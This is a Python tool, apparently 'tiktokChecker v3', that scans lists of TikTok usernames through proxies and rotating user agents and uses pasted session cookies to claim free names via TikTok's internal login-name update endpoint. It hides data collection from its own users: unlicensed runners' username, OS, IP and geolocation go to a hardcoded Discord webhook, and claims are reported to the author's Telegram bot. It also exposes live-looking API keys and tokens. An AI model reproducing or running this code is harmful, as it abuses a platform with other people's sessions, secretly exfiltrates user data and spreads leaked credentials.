- # ALM7TR tiktokChecker v3
- # To contact [IG:@utz0 | TELE:@ALM7TR]
- # Please if you crack this tool use it for your need, don't sell it or publish the source code this may be bad for me and my sup.
- class libraries:
- def importSystem(self):
- try:
- import ctypes, threading, os, socket, time, gc, pathlib
- except Exception as error:
- print(error)
- input()
- os._exit()
- try:
- import requests
- except Exception as error:
- os.system("pip install requests")
- os.system("cls")
- try:
- import discord_webhook
- except Exception as error:
- os.system("pip install discord_webhook")
- os.system("cls")
- try:
- import colorama
- from colorama import Fore
- colorama.init(autoreset=True)
- except Exception as error:
- os.system("pip install colorama")
- colorama.init(autoreset=True)
- os.system("cls")
- class ip:
- def check(self):
- if self.ip in requests.get("https://pastebin.com/raw/10jTWaHu").text:
- print(f"[{self.green}Good luck{self.reset}] Your ip activated by @utz0")
- else:
- import getpass, platform
- informtion = requests.get(f"http://ip-api.com/json/{self.ip}").json()
- username = getpass.getuser()
- systemType = platform.system()
- webhook = DiscordWebhook(url="https://discord.com/api/webhooks/897915560392790066/wZlFeFQ3Tel7X-qoxl9FzgrhnUEwq7gp7IO41bFKw_ORat3u9jwZ92m9-XbPiaN06iPo", username="New scanner v3")
- embed = DiscordEmbed(title=f"{username} :detective:",color=0x607d8b)
- embed.set_footer(text=f"[+] System {systemType}\n[+] IP {self.ip}\n[+] CY : {informtion['country']}~{informtion['city']}\n[+] La/Lo : {informtion['lat']}~{informtion['lon']}\n@utz0 coder")
- embed.set_timestamp()
- webhook.add_embed(embed)
- respone = webhook.execute()
- print(f'[{self.red}!{self.reset}] Your ip {self.ip} DM @utz0 to activate')
- input()
- exit(0)
- def __init__(self):
- self.red = Fore.LIGHTRED_EX
- self.reset = Fore.RESET
- self.green = Fore.LIGHTGREEN_EX
- self.ip = requests.get("https://api.ipify.org/?format=text").text
- class Main:
- def runTypeFunction(self):
- print(f"[{self.blue}?{self.reset}] Target mode ({self.green}y{self.reset}/{self.red}n{self.reset}): ",end="")
- runType = str(input())
- if "y" in runType or "Y" in runType:
- runTypePrint = f"{Fore.LIGHTGREEN_EX}Target"
- loopPremission = "n"
- loopPrint = f"{Fore.LIGHTGREEN_EX}True"
- print(f"[{self.blue}?{self.reset}] Input target: ",end="")
- target = str(input())
- return runType,target,loopPremission,runTypePrint,loopPrint
- elif "n" in runType or "N" in runType:
- runTypePrint = f"{Fore.LIGHTGREEN_EX}List"
- loopPremission,loopPrint = Main().loopPermissionFunction()
- return runType,"dick",loopPremission,runTypePrint,loopPrint
- else:
- print(f"[{self.red}!{self.reset}] Undefinde string, press enter to close.")
- input()
- os._exit(0)
- def loopPermissionFunction(self):
- print(f"[{self.blue}?{self.reset}] Want to use loop({self.green}y{self.reset}/{self.red}n{self.reset}): ",end="")
- loopPremission = str(input())
- if "y" in loopPremission or "Y" in loopPremission:return loopPremission,f"{Fore.LIGHTGREEN_EX}True"
- elif "n" in loopPremission or "N" in loopPremission:return loopPremission,f"{Fore.LIGHTRED_EX}False"
- else:
- print(f"[{self.red}!{self.reset}] Undefinde string, press enter to close.")
- input()
- os._exit(0)
- def mainWindow(self, runTypePrint, loopPrint):
- os.system("cls")
- print(f"""{Fore.LIGHTCYAN_EX} _ ____ ___
- /_\ |__ | _ \\
- / _ \{Fore.LIGHTRED_EX}@utz0{Fore.LIGHTCYAN_EX}| /
- /_/ \_\/_/ |_|_\\TikTok..Checker
- \n{Fore.RESET}[{Fore.LIGHTGREEN_EX}+{Fore.RESET}] Coded by ALM7TR[IG:@utz0~TELE:@ALM7TR]""")
- print(f"[{Fore.LIGHTGREEN_EX}+{Fore.RESET}] Users:{Fore.LIGHTGREEN_EX}{len(open('list.txt','r').read().splitlines())}{Fore.RESET}, Proxies:{Fore.LIGHTGREEN_EX}{len(open('proxy.txt','r').read().splitlines())}{Fore.RESET} ,Session's:{Fore.LIGHTGREEN_EX}{len(open('session.txt','r').read().splitlines())}{Fore.RESET}")
- print(f"[{Fore.LIGHTGREEN_EX}+{Fore.RESET}] Loop:{loopPrint}{Fore.RESET}, Proxies:{Fore.LIGHTGREEN_EX}True{Fore.RESET} ,RunType:{runTypePrint}{Fore.RESET}")
- if len(open('list.txt','r').read().splitlines()) ==0 or len(open('proxy.txt','r').read().splitlines()) ==0 or len(open('session.txt','r').read().splitlines()) ==0:
- print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Please fill list,proxy,session then restart.")
- input()
- os._exit(0)
- else:pass
- def __init__(self):
- self.red = Fore.LIGHTRED_EX
- self.blue = Fore.LIGHTBLUE_EX
- self.reset = Fore.RESET
- self.green = Fore.LIGHTGREEN_EX
- class threadSystem:
- def thread(self, function):
- threads = []
- print(f"[{Fore.LIGHTBLUE_EX}?{Fore.RESET}] Threads: ", end="")
- threadNum = int(input())
- for _ in range(threadNum):
- car = threading.Thread(target=function)
- car.daemon = True
- car.start()
- threads.append(car)
- for cars in threads:
- cars.join()
- class settings:
- def __init__(self):
- try:
- for SettingsFile in open('settings.txt').read().splitlines():
- if 'by' in SettingsFile:
- self.by = SettingsFile.split('[?] by : ')[1]
- elif 'webHook' in SettingsFile:
- self.webHook = SettingsFile.split('[?] webHook : ')[1]
- except FileNotFoundError:
- with open('settings.txt', 'a') as save_settings:
- save_settings.write(f'[?] by : \n[?] webHook : ')
- os.system("cls")
- print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Please fill \"settings.txt\"")
- print(f"[{self.red}!{self.reset}] Press enter to close")
- input()
- os._exit(0)
- class tiktokChecker:
- def console(self, user, sessionid):
- self.claims += 1
- print(f"[{self.cyan}{self.claims}{self.reset}] {self.green}@{user}{self.reset} has been claimed, after {self.green}{self.attempts}{self.reset} request")
- with open(f"claims.txt","a") as file:
- file.write(f"username: @{username}\nsessionid: {sessionid}\n\n")
- def sessions_counter(self):
- try:
- while self.keepGoingList:
- if len(self.sessionsList) ==0:
- self.lock.acquire()
- self.keepGoingList = False
- time.sleep(5)
- print(f"\n[{self.red}!{self.reset}] Tool has been stop, {self.red}Session's list finish{self.reset} your claims are #{self.claims}")
- print(f"[{self.green}+{self.reset}] Not found users: {self.good}")
- print(f"[{self.green}+{self.reset}] Exist users: {self.bad}")
- input()
- input()
- os._exit(0)
- else:pass
- except Exception as error:pass
- def rs_counter(self):
- try:
- while self.keepGoingList:
- rsCount = self.attempts
- time.sleep(1)
- self.RS = self.attempts - rsCount
- gc.collect()
- except Exception as error:pass
- def informtion_maker(self):
- global loopPremission
- while self.keepGoingList:
- ctypes.windll.kernel32.SetConsoleTitleW(str(f"\r{self.by} | Requests:{self.attempts} Spam:{self.spam} Errors:{self.errors} R/s[{self.RS}]"))
- try:
- self.userPostion += 1
- if self.userPostion >= self.usersListLenght:
- if "n" in loopPremission or "N" in loopPremission:
- self.lock.acquire()
- self.keepGoingList = False
- time.sleep(3)
- print(f"\n[{self.red}!{self.reset}] Tool has been stop, {self.green}all users checked{self.reset} your claims are #{self.claims}")
- print(f"[{self.green}+{self.reset}] Not found users: {self.good}")
- print(f"[{self.green}+{self.reset}] Exist users: {self.bad}")
- input()
- os._exit(0)
- elif "y" in loopPremission or "Y" in loopPremission:
- self.userPostion = 0
- else:pass
- self.checker_machine_f1(self.usersList[self.userPostion])
- except Exception as error:pass
- def checker_machine_f1(self, user):
- try:
- respone = requests.get(f"https://m.tiktok.com/node/share/user/@{user}/?count=50&id=1231230&type=5&secUid=&maxCursor=1&minCursor=0&sourceType=10&appid=1233",headers={"user-agent": random.choice(open("useragents.txt","r").read().splitlines())},proxies={"https":f'http://{random.choice(open("proxy.txt","r").read().splitlines())}'}).text
- if "10202" in respone:
- self.good += 1
- self.attempts += 1
- self.checker_machine_f2(user)
- else:
- self.bad += 1
- self.attempts += 1
- except Exception as error:
- self.errors += 1
- self.checker_machine_f1(user)
- def checker_machine_f2(self, user):
- try:
- respone = requests.get("https://social-media-data-tt.p.rapidapi.com/live/user", headers={"x-rapidapi-host":"social-media-data-tt.p.rapidapi.com","x-rapidapi-key":"9c363ae588mshd71440a101292d4p1c4061jsn32d687f5b44f"}, params={"username":user,"fresh":"1"}).text
- if "Please make sure that user exists and try again" in respone:
- self.good += 1
- self.attempts += 1
- self.set_username(user)
- elif "limit" in respone:
- self.errors += 1
- else:
- self.bad += 1
- self.attempts += 1
- except Exception as error:
- self.errors += 1
- self.checker_machine_f2(user)
- def checker_machine_target(self):
- global target
- while self.keepGoingTarget:
- ctypes.windll.kernel32.SetConsoleTitleW(str(f"\r{self.by} | Requests:{self.attempts} Spam:{self.spam} Errors:{self.errors} R/s[{self.RS}]"))
- try:
- respone = requests.get(f"https://m.tiktok.com/node/share/user/@{target}/?count=50&id=1231230&type=5&secUid=&maxCursor=1&minCursor=0&sourceType=10&appid=1233",headers={"user-agent": random.choice(open("useragents.txt","r").read().splitlines())},proxies={"https":f'http://{random.choice(open("proxy.txt","r").read().splitlines())}'}).text
- if "10202" in respone:
- self.good += 1
- self.attempts += 1
- self.set_username(target)
- else:
- self.bad += 1
- self.attempts += 1
- except Exception as error:
- self.errors += 1
- def set_username(self, user):
- sessionid = random.choice(self.sessionsList)
- userAgent = random.choice(self.userAgents)
- deviceType = userAgent.split("com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; ")[1].strip("; Build/PPR1.180610.011; tt-ok/3.10.0.2)")
- headers = {
- 'connection': 'Keep-Alive',
- 'content-length': '61',
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'cookie': f'store-idc=alisg; store-country-code=jo; passport_csrf_token=4f090f6c688d34439023d87c94284d56; passport_csrf_token_default=4f090f6c688d34439023d87c94284d56; d_ticket=1a360b478360784d60e9c19bab2975d299648; multi_sids=7053658438690620417%3A{sessionid}; cmpl_token=AgQQAPOlF-RPsLHdTl3tJZ04-3Ma2-5Pf4QuYMIzrw; odin_tt=d62f0efc196a8d93560631a047a87752c12f5ddfe33609a464231b966571be6fb2ff3fe1ba12167eceb59eb2dd3132d2bfec5cbae962019f47d62fa73b1768bed92d4c701d38b567cbf2bb9573a96c20; sid_guard={sessionid}%7C1642342749%7C5183999%7CThu%2C+17-Mar-2022+14%3A19%3A08+GMT; uid_tt=ce5c1917610acacc9ac99631c4e012316730e233d63a978a93413f7a09985b49; uid_tt_ss=ce5c1917610acacc9ac99631c4e012316730e233d63a978a93413f7a09985b49; sid_tt={sessionid}; ; sessionid_ss={sessionid}',
- 'passport-sdk-version': '19',
- 'x-gorgon': '040400d140002934b0b8bc7150ef56d1363224801d3c99ce90c3',
- 'user-agent': userAgent
- }
- try:
- respone = requests.post(f'https://api16-normal-c-alisg.tiktokv.com/passport/login_name/update/?iid=7060509952591595266&device_id=7054537563859764742&ac=wifi&channel=googleplay&aid=1233&app_name=musical_ly&version_code=230005&version_name=23.0.5&device_platform=android&ab_version=23.0.5&ssmix=a&device_type={deviceType}&device_brand=samsung&language=en&os_api=25&os_version=7.1.2&openudid=a0fa5ae7590c6576&manifest_version_code=2022300050&resolution=1600*900&dpi=300&update_version_code=2022300050&_rticket=1644335649391¤t_region=JO&app_type=normal&sys_region=US&mcc_mnc=41601&timezone_name=America%2FChicago&residence=JO&ts=1644335648&timezone_offset=-21600&build_number=23.0.5®ion=US&uoo=0&app_language=en&carrier_region=JO&locale=en&op_region=JO&ac2=wifi&host_abi=x86&cdid=63d7e01e-5508-4742-ad36-df84088dcef8&support_webview=1&okhttp_version=4.1.73.9-tiktok',headers=headers,data=f"login_name={user}&page_from=0",timeout=5000)
- if 'success' in respone.text:
- try:
- telemsg = "https://api.telegram.org/bot5272297821:AAGZmHsKBa1o_J1g5qBdu3x563dzb_2TBdk/sendMessage" + "?chat_id=1174741535&text=" + f"{self.by} smashed @{user} on TikTok!\n-checker v3-"
- telesend = requests.get(telemsg)
- except:pass
- try:
- webhook = DiscordWebhook(url="https://discord.com/api/webhooks/844267067024736275/97oE90TRYXErD6jB2mU9SuhzEpt2HVteVkFMLQoZMQnF1PG1yy_juyixGsAupvmX78NI", username="TikTok v3")
- embed = DiscordEmbed(title=f"{self.by} :thunder_cloud_rain:",color=242424)
- embed.set_footer(text=f"[+] Claimed @{user}\n[+] Req {self.attempts}\n[+] R/s {self.RS}\n@utz0 coder")
- embed.set_timestamp()
- webhook.add_embed(embed)
- respone = webhook.execute()
- return self.discord(user)
- except:pass
- try:
- webhook = DiscordWebhook(url=self.webHook, username="TikTok v3")
- embed = DiscordEmbed(title=f"{self.by} :thunder_cloud_rain:",color=242424)
- embed.set_footer(text=f"[+] Claimed @{user}\n[+] Req {self.attempts}\n[+] R/s {self.RS}\n@utz0 coder")
- embed.set_timestamp()
- webhook.add_embed(embed)
- respone = webhook.execute()
- return respone.status_code
- except:pass
- self.console(user, sessionid)
- self.sessionsList.remove(sessionid)
- ctypes.windll.user32.MessageBoxW(0, f"Claimed @{user}\nRequests {self.attempts}\nR/s:{self.RS}", self.by, 0x1000)
- elif '"description":"login name can only be updated once within one month."' in respone.text:
- time.sleep(2)
- print(f"[{self.red}!{self.reset}] Bad SSiD:{sessionid}")
- self.sessionsList.remove(sessionid)
- elif "The conversation has expired," in respone.text:
- time.sleep(2)
- print(f"[{self.red}!{self.reset}] Bad SSiD:{sessionid}")
- self.sessionsList.remove(sessionid)
- elif "Only letters, numbers, underscores, or periods are allowed" in respone.text:
- self.attempts += 1
- elif "Too many attempts" in respone.text:
- self.spam += 1
- else:
- self.attempts += 1
- except Exception as error:
- self.errors += 1
- def __init__(self):
- self.lock = threading.Lock()
- self.keepGoingList= True
- self.keepGoingTarget= True
- # Colors
- self.green = Fore.LIGHTGREEN_EX
- self.blue = Fore.LIGHTBLUE_EX
- self.red = Fore.LIGHTRED_EX
- self.cyan = Fore.LIGHTCYAN_EX
- self.yellow = Fore.LIGHTYELLOW_EX
- self.magenta = Fore.LIGHTMAGENTA_EX
- self.reset = Fore.RESET
- # Counters
- self.attempts = 0
- self.errors = 0
- self.spam = 0
- self.good = 0
- self.bad = 0
- self.claims = 0
- self.RS = 0
- # List's informtion
- try:
- # Users:
- self.usersList = open("list.txt","r").read().splitlines()
- self.usersListLenght = len(self.usersList)
- self.userPostion = 0
- # Proxies:
- self.proxiesListLenght = len(open("proxy.txt","r").read().splitlines())
- # Session's:
- self.sessionsText = open("session.txt","r").read().splitlines()
- self.sessionsList = []
- for session in self.sessionsText:
- self.sessionsList.append(session)
- self.sessionsListLenght = len(self.sessionsList)
- # UserAgents:
- self.userAgents = ["com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; SM-N975F; Build/PPR1.180610.011; tt-ok/3.10.0.2)","com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; SM-G955F; Build/PPR1.180610.011; tt-ok/3.10.0.2)","com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; Samsung Galaxy S8; Build/PPR1.180610.011; tt-ok/3.10.0.2)","com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; SM-F916B; Build/PPR1.180610.011; tt-ok/3.10.0.2)"]
- except FileNotFoundError:
- print(f"[{self.red}!{self.reset}] Please create or fill the users,sessions,proxies list..")
- input()
- os._exit(0)
- # Signature
- self.by = settings().by
- self.webHook = settings().webHook
- # Background shit
- threading.Thread(target=self.sessions_counter).start()
- threading.Thread(target=self.rs_counter).start()
- if __name__ == '__main__':
- import os
- os.system("mode 80,15")
- libraries().importSystem()
- import ctypes, threading, socket, time, gc, colorama, requests, pathlib, random
- from discord_webhook import DiscordWebhook, DiscordEmbed
- from colorama import Fore
- colorama.init(autoreset=True)
- os.system("cls")
- ip().check()
- runType,target,loopPremission,runTypePrint,loopPrint = Main().runTypeFunction()
- Main().mainWindow(runTypePrint, loopPrint)
- if "n" in runType or "N" in runType:threadSystem().thread(tiktokChecker().informtion_maker)
- elif "y" in runType or "Y" in runType:threadSystem().thread(tiktokChecker().checker_machine_target)
- else:pass